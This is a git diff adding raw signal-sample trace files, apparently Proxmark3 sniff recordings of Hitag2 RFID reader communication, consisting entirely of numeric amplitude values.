+127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +98 +90 +85 +79 +75 +69 +65 +61 +58 +54 +51 +48 +46 +43 +40 +38 +36 +34 +32 +30 +29 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-93 +-84 +-77 +-71 +-66 +-60 +-54 +-48 +-43 +-39 +-36 +-32 +-29 +-26 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +71 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +112 +105 +98 +90 +85 +79 +74 +68 +65 +61 +57 +53 +51 +48 +45 +42 +40 +38 +36 +34 +33 +31 +30 +28 +27 +26 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-90 +-82 +-76 +-69 +-65 +-60 +-55 +-50 +-45 +-40 +-37 +-33 +-30 +-27 +-24 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +-1 +0 +1 +2 +3 +4 +4 +5 +6 +6 +5 +7 +8 +9 +9 +10 +10 +10 +10 +10 +11 +12 +11 +12 +12 +12 +12 +13 +13 +14 +14 +13 +13 +13 +12 +13 +13 +13 +13 +14 +13 +13 +13 +12 +13 +14 +14 +14 +14 +14 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +71 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-8 +-7 +-4 +-2 +-1 +0 +1 +2 +3 +3 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +11 +10 +11 +11 +12 +11 +12 +12 +13 +12 +12 +11 +12 +12 +13 +13 +14 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +12 +13 +14 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +14 +14 +13 +14 +15 +15 +14 +15 +14 +15 +14 +15 +15 +16 +15 +15 +15 +15 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +89 +83 +78 +74 +68 +65 +61 +58 +54 +50 +48 +45 +42 +39 +37 +36 +33 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +108 +101 +95 +89 +83 +77 +72 +68 +64 +60 +56 +53 +51 +47 +44 +41 +40 +37 +35 +33 +32 +30 +28 +27 +26 +24 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +58 +-38 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +104 +98 +90 +84 +79 +74 +68 +65 +60 +57 +54 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +108 +101 +94 +88 +82 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +28 +28 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-91 +-84 +-77 +-71 +-65 +-59 +-54 +-49 +-44 +-39 +-35 +-32 +-30 +-26 +-23 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-4 +-2 +0 +1 +1 +2 +3 +5 +5 +5 +6 +7 +7 +8 +9 +10 +10 +10 +10 +10 +9 +10 +10 +11 +11 +12 +12 +11 +11 +12 +11 +13 +13 +14 +13 +13 +13 +13 +13 +13 +14 +14 +13 +13 +12 +13 +13 +14 +14 +15 +14 +14 +14 +14 +14 +14 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 diff --git a/traces/sniff-ht2-BC3B8810-acg-reader.pm3 b/traces/sniff-ht2-BC3B8810-acg-reader.pm3 new file mode 100644 index 000000000..720492382 --- /dev/null +++ b/traces/sniff-ht2-BC3B8810-acg-reader.pm3 @@ -0,0 +1,2000 @@ +6 +6 +7 +7 +7 +6 +7 +7 +7 +6 +6 +6 +7 +6 +6 +6 +7 +7 +7 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +7 +7 +7 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +7 +7 +6 +6 +6 +6 +6 +6 +6 +6 +7 +7 +6 +6 +7 +7 +6 +6 +7 +7 +7 +6 +6 +7 +7 +7 +6 +6 +7 +6 +6 +6 +6 +6 +6 +5 +6 +6 +7 +6 +6 +6 +7 +6 +7 +6 +6 +6 +6 +6 +6 +7 +7 +6 +6 +6 +7 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +5 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +5 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +5 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +7 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +6 +7 +6 +6 +6 +7 +6 +5 +6 +6 +6 +5 +5 +-17 +-37 +-55 +-71 +-86 +-98 +-110 +-120 +-127 +3 +5 +-17 +-37 +-3 +59 +63 +46 +37 +41 +48 +47 +43 +39 +37 +36 +35 +33 +31 +29 +4 +-18 +-38 +-56 +-72 +-86 +-98 +-110 +-120 +-127 +18 +21 +-3 +-24 +14 +75 +78 +61 +51 +55 +61 +59 +54 +49 +48 +46 +43 +40 +38 +36 +11 +-13 +-33 +-52 +-68 +-82 +-95 +-107 +-117 +-126 +21 +23 +-1 +-23 +17 +77 +80 +63 +53 +56 +29 +4 +-18 +-38 +-55 +-71 +-85 +-98 +-109 +-119 +38 +41 +15 +-8 +31 +92 +94 +76 +65 +68 +40 +14 +-9 +-30 +-48 +-65 +-79 +-93 +-104 +-114 +44 +47 +21 +-3 +37 +97 +99 +79 +69 +72 +43 +17 +-6 +-28 +-46 +-63 +-77 +-91 +-103 +-113 +46 +48 +22 +-2 +38 +98 +99 +80 +70 +73 +77 +74 +68 +63 +60 +57 +54 +51 +48 +44 +42 +39 +38 +35 +33 +30 +30 +28 +37 +44 +50 +54 +55 +53 +52 +49 +48 +46 +44 +41 +39 +37 +35 +33 +31 +29 +28 +26 +25 +24 +23 +22 +20 +19 +19 +18 +17 +15 +15 +15 +14 +13 +13 +12 +12 +11 +11 +10 +11 +10 +10 +9 +9 +9 +9 +8 +8 +8 +8 +7 +7 +7 +7 +7 +6 +6 +7 +7 +7 +6 +6 +7 +7 +7 +6 +6 +6 +6 +6 +5 +6 +5 +6 +5 +5 +5 +6 +5 +5 +5 +6 +5 +6 +5 +5 +6 +6 +5 +5 +5 +6 +5 +5 +5 +6 +5 +5 +5 +6 +6 +6 +5 +5 +6 +6 +5 +5 +6 +6 +5 +5 +5 +5 +6 +5 +5 +5 +5 +6 +5 +5 +5 +6 +5 +5 +5 +5 +5 +5 +4 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +6 +5 +5 +5 +5 +5 +5 +4 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +5 +30 +58 +77 +85 +85 +83 +82 +80 +78 +73 +69 +65 +62 +59 +56 +52 +30 +6 +-14 +-30 +-38 +-42 +-44 +-45 +-44 +-43 +-40 +-37 +-35 +-33 +-31 +-29 +-1 +29 +50 +58 +61 +62 +62 +61 +59 +57 +54 +51 +49 +46 +44 +42 +20 +-3 +-23 +-37 +-45 +-49 +-51 +-51 +-50 +-48 +-46 +-43 +-40 +-37 +-35 +-33 +-5 +26 +48 +56 +58 +58 +60 +59 +57 +54 +52 +49 +47 +44 +41 +39 +18 +-4 +-24 +-39 +-46 +-50 +-52 +-52 +-51 +-48 +-46 +-43 +-41 +-38 +-35 +-33 +-6 +25 +47 +56 +58 +58 +59 +59 +57 +54 +51 +49 +47 +44 +41 +39 +18 +-5 +-24 +-40 +-47 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-41 +-38 +-35 +-33 +-6 +24 +46 +55 +58 +58 +58 +58 +57 +54 +51 +48 +46 +44 +42 +39 +18 +-4 +-24 +-39 +-46 +-51 +-52 +-52 +-51 +-50 +-46 +-43 +-41 +-39 +-36 +-33 +-6 +25 +46 +55 +58 +58 +59 +58 +57 +54 +52 +48 +46 +44 +42 +39 +18 +-5 +-24 +-39 +-47 +-51 +-52 +-52 +-51 +-49 +-46 +-43 +-41 +-38 +-36 +-34 +-31 +-28 +-26 +-25 +-22 +-20 +-18 +-17 +-16 +-15 +-12 +-11 +-10 +-10 +-8 +-8 +18 +46 +67 +75 +76 +74 +74 +73 +70 +66 +63 +59 +57 +53 +50 +47 +44 +42 +40 +37 +34 +33 +31 +29 +27 +26 +25 +23 +22 +20 +20 +19 +0 +-22 +-40 +-54 +-60 +-64 +-65 +-65 +-62 +-59 +-56 +-53 +-49 +-46 +-43 +-41 +-13 +19 +41 +49 +52 +53 +55 +55 +53 +50 +48 +46 +44 +41 +38 +36 +16 +-7 +-26 +-41 +-48 +-52 +-54 +-55 +-52 +-50 +-47 +-45 +-42 +-39 +-36 +-34 +-7 +24 +46 +55 +57 +56 +58 +58 +56 +53 +51 +48 +46 +43 +41 +39 +18 +-5 +-24 +-39 +-47 +-50 +-52 +-53 +-52 +-49 +-46 +-44 +-42 +-39 +-36 +-34 +-7 +24 +46 +55 +57 +57 +58 +58 +57 +54 +51 +48 +47 +44 +41 +38 +18 +-5 +-25 +-40 +-46 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-41 +-39 +-36 +-34 +-32 +-29 +-27 +-24 +-23 +-21 +-19 +-17 +-15 +-14 +-13 +-12 +-10 +-9 +-9 +-9 +18 +47 +67 +74 +75 +74 +75 +72 +70 +66 +63 +59 +56 +53 +50 +47 +26 +2 +-18 +-34 +-41 +-45 +-47 +-48 +-47 +-45 +-42 +-40 +-38 +-35 +-33 +-30 +-4 +27 +49 +58 +60 +60 +60 +60 +59 +55 +52 +49 +47 +45 +42 +39 +18 +-4 +-24 +-39 +-46 +-50 +-51 +-52 +-51 +-49 +-45 +-43 +-40 +-39 +-35 +-33 +-6 +24 +46 +55 +58 +58 +58 +58 +57 +54 +51 +48 +46 +43 +41 +38 +17 +-5 +-25 +-40 +-47 +-51 +-52 +-53 +-51 +-49 +-46 +-43 +-41 +-39 +-36 +-33 +-6 +24 +46 +55 +57 +57 +58 +57 +56 +53 +50 +47 +46 +43 +41 +38 +36 +34 +32 +30 +28 +26 +26 +24 +22 +20 +20 +19 +18 +17 +16 +16 +-3 +-24 +-42 +-56 +-63 +-65 +-67 +-67 +-64 +-61 +-57 +-54 +-51 +-48 +-44 +-41 +-14 +17 +40 +49 +52 +52 +53 +53 +53 +50 +47 +44 +43 +40 +38 +35 +14 +-8 +-27 +-42 +-49 +-52 +-53 +-54 +-53 +-50 +-47 +-45 +-43 +-40 +-37 +-34 +-7 +23 +45 +54 +57 +56 +57 +57 +56 +53 +50 +47 +46 +43 +41 +38 +17 +-5 +-25 +-40 +-47 +-51 +-53 +-53 +-52 +-50 +-46 +-44 +-42 +-39 +-36 +-33 +-31 +-29 +-27 +-25 +-22 +-21 +-19 +-18 +-16 +-15 +-14 +-13 +-11 +-10 +-9 +-9 +17 +47 +66 +73 +74 +74 +74 +72 +69 +65 +62 +58 +55 +52 +49 +46 +44 +40 +38 +36 +35 +32 +30 +28 +28 +25 +24 +22 +21 +20 +19 +18 +-2 +-22 +-40 +-54 +-61 +-64 +-65 +-64 +-63 +-59 +-56 +-53 +-50 +-47 +-43 +-40 +-13 +17 +40 +49 +52 +53 +53 +53 +52 +50 +48 +45 +43 +41 +39 +35 +15 +-7 +-27 +-41 +-49 +-52 +-54 +-54 +-53 +-51 +-48 +-45 +-42 +-40 +-37 +-35 +-7 +23 +44 +53 +56 +57 +57 +56 +55 +53 +50 +47 +45 +42 +40 +38 +17 +-5 +-25 +-39 +-47 +-51 +-53 +-53 +-52 +-50 +-47 +-44 +-41 +-39 +-37 +-34 +-31 +-29 +-27 +-25 +-22 +-21 +-19 +-18 +-16 +-15 +-13 +-13 +-11 +-11 +-9 +-9 +17 +46 +66 +73 +74 +73 +73 +72 +69 +65 +62 +59 +56 +52 +49 +46 +25 +1 +-19 +-34 +-42 +-45 +-47 +-48 +-47 +-45 +-42 +-40 +-38 +-36 +-33 +-31 +-3 +26 +47 +56 +59 +58 +59 +58 +57 +54 +52 +48 +46 +44 +41 +39 +18 +-5 +-24 +-39 +-47 +-50 +-52 +-52 +-52 +-49 +-46 +-43 +-41 +-39 +-36 +-34 +-7 +24 +45 +54 +57 +57 +57 +57 +56 +53 +50 +47 +45 +42 +40 +37 +35 +33 +32 +30 +28 +26 +25 +24 +22 +20 +20 +19 +18 +16 +16 +15 +-4 +-25 +-43 +-56 +-63 +-66 +-67 +-67 +-64 +-61 +-58 +-55 +-52 +-48 +-44 +-42 +-39 +-36 +-33 +-31 +-28 +-27 +-24 +-22 +-20 +-19 +-18 +-16 +-14 +-14 +-13 +-12 +15 +44 +63 +70 +72 +72 +72 +70 +68 +64 +61 +57 +54 +51 +49 +46 +24 +0 +-20 +-35 +-42 +-46 +-49 +-49 +-47 +-46 +-43 +-41 +-38 +-36 +-33 +-31 +-5 +27 +48 +56 +58 +58 +59 +58 +56 +54 +51 +49 +46 +43 +41 +39 +18 +-5 +-24 +-39 +-46 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-42 +-39 +-35 +-33 +-6 +24 +45 +54 +57 +56 +57 +57 +56 +53 +49 +47 +45 +42 +39 +37 +16 +-6 +-25 +-40 +-47 +-51 +-52 +-53 +-52 +-49 +-46 +-44 +-42 +-39 +-36 +-34 +-8 +24 +45 +54 +56 +56 +57 +57 +56 +52 +50 +47 +45 +42 +40 +37 +16 +-6 +-25 +-40 +-47 +-51 +-52 +-53 +-52 +-50 +-46 +-44 +-42 +-39 +-36 +-34 +-7 +23 +45 +54 +56 +57 +57 +57 +56 +53 +50 +47 +45 +43 +40 +37 +16 +-6 +-25 +-40 +-48 +-51 +-53 +-53 +-52 +-50 +-47 +-44 +-41 +-39 +-36 +-34 +-6 +24 +45 +54 +56 +56 +57 +56 +55 +53 +50 +46 +44 +42 +40 +37 +35 +33 +31 +29 +27 +26 +25 +23 +22 +20 +19 +18 +18 +16 +15 +14 +-5 +-25 +-43 +-57 +-63 +-66 +-67 +-67 +-64 +-61 +-57 +-55 +-51 +-48 +-44 +-42 +-39 +-37 +-33 +-31 +-29 +-28 +-25 +-23 +-21 +-20 +-18 +-16 +-14 +-14 +-13 +-12 +14 +43 +63 +70 +72 +71 +71 +69 +67 +64 +60 +56 +53 +51 +48 +45 +23 +0 +-20 +-35 +-43 +-47 +-49 +-49 +-47 +-46 +-44 +-41 +-38 +-36 +-34 +-32 +-4 +26 +47 +55 +57 +58 +59 +58 +56 +53 +51 +48 +45 +42 +40 +39 +17 +-5 +-25 +-39 +-46 +-50 +-52 +-53 +-51 +-49 +-46 +-44 +-42 +-39 +-36 +-34 +-8 +23 +45 +54 +56 +56 +57 +57 +55 +52 +50 +47 +45 +42 +39 +37 +16 +-6 +-26 +-40 +-47 +-51 +-53 +-54 +-52 +-49 +-47 +-45 +-42 +-39 +-36 +-34 +-8 +23 +44 +53 +56 +56 +56 +57 +55 +52 +49 +46 +43 +40 +37 +35 +11 +-13 +-35 +-54 +-71 +-85 +-96 +-104 +-107 +-106 +-103 +-99 +-95 +-89 +-83 +-79 +-74 +-69 +-64 +-60 +-56 +-52 +-49 +-45 +-42 +-39 +-36 +-34 +-31 +-29 +-27 +-25 +-22 +-20 +-19 +-18 +-16 +-14 +-13 +-12 +-11 +-10 +-9 +-8 +-8 +-8 +-6 +-5 +-5 +-5 +-4 +-3 +-2 +-2 +-2 +-2 +-1 +-1 +-1 +-1 +0 +0 +0 +0 +0 +1 +1 +1 +1 +1 +2 +2 +2 +1 +2 +2 +2 +2 +2 +2 +3 +2 +2 +2 +3 +3 +3 +2 +2 +3 +3 +2 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +3 +3 +3 +2 +3 +3 +4 +3 +3 +3 +4 +4 +3 +3 +4 +4 +3 +3 +3 +4 +4 +3 +3 +3 +3 +3 +3 +3 +4 +4 +3 +3 +3 +4 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +4 +3 +4 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +4 +4 +3 +3 +4 +4 +3 +3 +3 +4 +3 +3 +3 +3 +3 +3 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +2 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +3 +3 +3 +3 +3 +3 +4 +4 +4 +3 +4 +4 +4 +3 +3 +3 +3 +3 +3 +3 +4 +3 +3 +3 +4 +3 +3 +3 +4 +4 +4 +3 +4 +3 +4 +3 diff --git a/traces/sniff-ht2-BC3B8810-frosch-reader.pm3 b/traces/sniff-ht2-BC3B8810-frosch-reader.pm3 new file mode 100644 index 000000000..2a6afbf95 --- /dev/null +++ b/traces/sniff-ht2-BC3B8810-frosch-reader.pm3 @@ -0,0 +1,5000 @@ +14 +14 +15 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +13 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +14 +15 +14 +15 +14 +15 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +14 +14 +14 +14 +13 +14 +14 +15 +14 +14 +14 +15 +13 +13 +13 +14 +14 +14 +13 +14 +14 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +13 +14 +13 +14 +13 +14 +14 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +13 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +14 +14 +14 +13 +14 +14 +15 +14 +14 +14 +14 +14 +13 +14 +14 +14 +13 +13 +13 +13 +13 +13 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +13 +13 +13 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +13 +14 +14 +14 +13 +13 +13 +14 +13 +14 +13 +14 +12 +13 +12 +13 +13 +13 +13 +14 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +13 +13 +13 +13 +14 +14 +13 +13 +13 +13 +14 +13 +14 +13 +14 +13 +14 +13 +14 +14 +13 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +12 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +13 +13 +13 +12 +13 +13 +12 +12 +12 +13 +13 +13 +12 +13 +13 +13 +12 +13 +13 +13 +13 +13 +13 +13 +13 +12 +12 +13 +13 +12 +12 +12 +13 +13 +12 +13 +13 +14 +13 +13 +13 +13 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +13 +13 +13 +13 +13 +13 +12 +12 +12 +13 +12 +12 +12 +12 +12 +12 +12 +12 +13 +13 +12 +13 +13 +13 +12 +12 +12 +13 +13 +12 +12 +12 +12 +12 +12 +13 +12 +13 +11 +12 +12 +12 +12 +12 +12 +12 +13 +12 +12 +12 +13 +12 +12 +12 +13 +13 +12 +12 +12 +12 +11 +12 +12 +12 +12 +11 +11 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +12 +11 +11 +12 +12 +11 +12 +12 +12 +12 +12 +11 +12 +12 +12 +11 +12 +12 +12 +11 +11 +12 +12 +12 +12 +11 +12 +12 +12 +11 +12 +12 +12 +11 +11 +11 +12 +12 +11 +11 +12 +12 +11 +11 +12 +12 +12 +11 +12 +11 +12 +11 +11 +11 +12 +12 +12 +12 +12 +12 +11 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +12 +12 +12 +11 +11 +11 +11 +10 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +11 +11 +11 +11 +11 +12 +12 +12 +12 +11 +12 +11 +11 +11 +11 +11 +11 +10 +11 +11 +12 +11 +11 +11 +12 +11 +11 +11 +12 +12 +12 +11 +11 +11 +11 +10 +11 +10 +11 +10 +10 +11 +11 +11 +-18 +-44 +-67 +-88 +-106 +-122 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-127 +-52 +7 +48 +75 +91 +99 +103 +104 +102 +99 +95 +90 +86 +82 +46 +13 +-15 +-41 +-64 +-84 +-102 +-118 +-127 +-127 +-127 +-127 +-127 +-103 +-21 +36 +75 +100 +116 +117 +117 +117 +117 +117 +113 +107 +101 +95 +58 +24 +-6 +-33 +-56 +-77 +-96 +-112 +-127 +-127 +-127 +-127 +-127 +-97 +-15 +42 +80 +105 +117 +117 +117 +117 +87 +51 +18 +-11 +-37 +-60 +-80 +-98 +-114 +-127 +-127 +-127 +-127 +-75 +7 +64 +103 +117 +117 +117 +117 +117 +102 +64 +30 +0 +-27 +-51 +-72 +-91 +-107 +-123 +-127 +-127 +-127 +-68 +14 +71 +109 +117 +117 +117 +117 +117 +117 +102 +64 +30 +0 +-27 +-51 +-72 +-91 +-108 +-123 +-127 +-127 +-127 +-71 +10 +67 +105 +117 +117 +117 +117 +117 +117 +117 +117 +117 +116 +110 +103 +98 +91 +86 +81 +77 +72 +68 +63 +66 +67 +67 +65 +63 +61 +59 +56 +53 +50 +48 +46 +43 +41 +40 +38 +36 +33 +32 +30 +30 +28 +27 +26 +25 +23 +22 +21 +21 +20 +20 +18 +18 +18 +18 +17 +16 +16 +16 +15 +14 +14 +14 +14 +13 +12 +13 +13 +13 +12 +12 +11 +12 +12 +12 +11 +11 +11 +11 +10 +11 +11 +11 +11 +10 +11 +11 +10 +10 +9 +10 +10 +10 +9 +10 +9 +10 +9 +10 +10 +10 +9 +9 +9 +9 +9 +8 +8 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +9 +9 +9 +10 +10 +10 +9 +10 +9 +9 +8 +9 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +10 +10 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +16 +24 +30 +34 +37 +39 +40 +39 +38 +37 +37 +35 +34 +32 +31 +29 +18 +10 +4 +-1 +-5 +-8 +-9 +-9 +-10 +-10 +-9 +-8 +-7 +-7 +-6 +-5 +4 +12 +18 +23 +27 +29 +30 +30 +30 +29 +29 +27 +27 +26 +26 +24 +14 +6 +0 +-5 +-9 +-11 +-12 +-12 +-12 +-12 +-12 +-11 +-9 +-9 +-8 +-7 +2 +10 +17 +22 +26 +28 +29 +29 +29 +29 +28 +27 +27 +26 +25 +24 +14 +6 +-1 +-5 +-9 +-11 +-12 +-12 +-13 +-13 +-12 +-11 +-10 +-10 +-8 +-7 +2 +10 +17 +21 +25 +27 +28 +28 +29 +28 +27 +26 +26 +25 +24 +23 +14 +6 +-1 +-6 +-10 +-11 +-12 +-13 +-13 +-13 +-12 +-11 +-10 +-10 +-9 +-8 +2 +10 +17 +22 +26 +27 +28 +28 +29 +28 +27 +26 +25 +25 +24 +23 +13 +5 +-1 +-6 +-10 +-12 +-13 +-13 +-13 +-14 +-12 +-12 +-10 +-10 +-9 +-8 +2 +10 +16 +21 +25 +27 +28 +29 +29 +29 +28 +26 +26 +25 +24 +22 +13 +5 +-1 +-7 +-11 +-12 +-13 +-14 +-14 +-13 +-12 +-11 +-11 +-11 +-9 +-8 +-7 +-7 +-6 +-5 +-3 +-4 +-3 +-2 +0 +0 +0 +1 +1 +2 +2 +2 +11 +19 +25 +29 +32 +33 +35 +35 +34 +33 +33 +31 +30 +27 +26 +25 +25 +23 +22 +21 +21 +20 +19 +18 +18 +17 +16 +15 +15 +15 +15 +13 +5 +-3 +-9 +-14 +-17 +-19 +-19 +-20 +-19 +-19 +-17 +-16 +-15 +-14 +-13 +-12 +-3 +5 +13 +18 +22 +24 +25 +26 +27 +26 +25 +24 +24 +23 +22 +21 +12 +4 +-3 +-8 +-11 +-13 +-14 +-15 +-15 +-14 +-13 +-13 +-12 +-11 +-9 +-9 +0 +8 +16 +20 +24 +25 +27 +27 +28 +27 +26 +26 +25 +24 +22 +22 +12 +5 +-2 +-8 +-11 +-13 +-14 +-15 +-14 +-14 +-13 +-13 +-12 +-11 +-10 +-10 +-1 +7 +16 +21 +24 +25 +27 +28 +28 +27 +26 +25 +25 +24 +22 +22 +13 +4 +-3 +-8 +-10 +-12 +-13 +-15 